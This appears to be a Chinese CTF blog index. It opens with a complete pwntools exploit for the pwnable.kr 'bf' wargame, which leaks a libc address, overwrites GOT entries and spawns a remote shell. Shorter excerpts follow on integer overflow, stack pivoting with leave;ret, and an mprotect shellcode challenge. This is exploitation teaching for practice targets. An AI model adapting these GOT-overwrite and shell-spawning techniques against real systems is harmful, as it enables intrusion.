[wargame-pwnable] bf

got表的姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level="debug")
# p = process('./bf')
p = remote('pwnable.kr',9001)
elf = ELF('bf')
#readelf -s bf_libc.so |grep system
libc_system_addr = 0x0003f250
libc_setvbuf_addr = 0x00067f70
libc_gets_addr = 0x00066e50
p_addr = 0x0804A0A0
vul_addr = 0x08048671
putchar_got = elf.got['putchar']
setvbuf_got = elf.got['setvbuf']
memset_got = elf.got['memset']
fgets_got = elf.got['fgets']
payload = ''
payload += '<'*(p_addr-setvbuf_got) # point to setvbuf_got
payload += '.'+'>'+'.'+'>'+'.'+'>'+'.'+'>'+ '<'*4 #leak setvbuf()
payload += '>'*(putchar_got-setvbuf_got)#point to putchar_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change putchar() to vul_addr
payload += '<'*(putchar_got-memset_got)#point to memset_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change memset() to gets()
payload += '<'*(memset_got-fgets_got)#point to fgets_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change fgets() to gets()
payload +='.'
print 'length = '+hex(len(payload))
# gdb.attach(p,'b*0x804865A\nb*0x8048648\nc')
p.recvuntil('pt [ ]\n')
p.sendline(payload)
leak = p.recv(1)+p.recv(1)+p.recv(1)+p.recv(1)
leak_setvbuf = u32(leak)
print 'putchar_got_addr = '+hex(putchar_got)
print 'leak_setvbuf = '+hex(leak_setvbuf)
system_addr = leak_setvbuf - (libc_setvbuf_addr-libc_system_addr)
gets_addr = leak_setvbuf - (libc_setvbuf_addr-libc_gets_addr)
print 'system_addr = ' + hex(system_addr)
print 'gets_addr = '+hex(gets_addr)
print '###change putchar to vul_addr'
p.send(p32(vul_addr))
print '###change memset to gets'
p.send(p32(gets_addr))
print '###change fgets to system'
p.send(p32(system_addr))
print "###send '/bin/sh'"
p.sendline('/bin/sh\0')
p.interactive()

2015-问鼎杯线下PWN

这题当时没做出了哎。。好吧,其实考察点是整型溢出。。。挺有价值的一题题目。
题目地址:https://github.com/Winter3un/ctf_task
通过逆向得知,题目需要密码,而密码是通过一个算法得到的,要输入一个字符串满足这个算法,但是在32位内,我们的任何输入都满足不了条件,突然发现这边可以进行整型溢出(超过32位的数据,寄存器将丢弃)
那么我们可以构造类似于0x1ae312d386d209这样的数据,高于32位的数据将会被丢弃。即0x1ae312d386d209 == 0xD386D209
exp如下:

Auto post

背景

某个坑爹的小伙伴说只要我做出这玩意就请我吃3斤龙虾,于是我本着社会主义精神,昧着虾心,来写这篇文章。

主要用的知识点:

  1. python编程
  2. http协议包分析
  3. requests库文件的使用

[pwn] 关于栈的迁移

[pwn] 关于栈的迁移

在我们仅仅只能够控制ebp的情况下,我们怎么才能够控制eip去拿到我们的shell呢。

以下为科普

以32位程序举例,在使用call这个命令,进入一个函数的时候,程序会进行一系列栈操作:
push eip+4;push ebp;mov ebp,esp;来保护现场,避免执行完函数后堆栈不平衡以及找不到之前的入口地址。

执行完函数后会进行一系列操作来还原现场leave;ret;
这边的leave就相当于进入函数栈操作的逆过程。

1
2
leave == mov esp,ebp;pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器

这样如果能够控制栈空间到任意地址,那么我们就能利用ret来控制eip的数据了(栈顶数据)

mprotect 之痛

这道题目源自于 2016安云杯,题目原题可以在文章最后的附件里下载。

当时拿到这道题目以后,想法很简单。使用fmt将puts函数的got改掉换成程序自带的mprotect后门(如图)。先是用mprotect将栈空间段设置为可执行,然后利用gets函数将shellcode放入站上,由于最后没有将eax清空,eax寄存器仍然保存着栈地址,所以我们可以利用 jmp eax 或者 call eax 跳转到栈上执行。(一个简单的pwn案例)

隐藏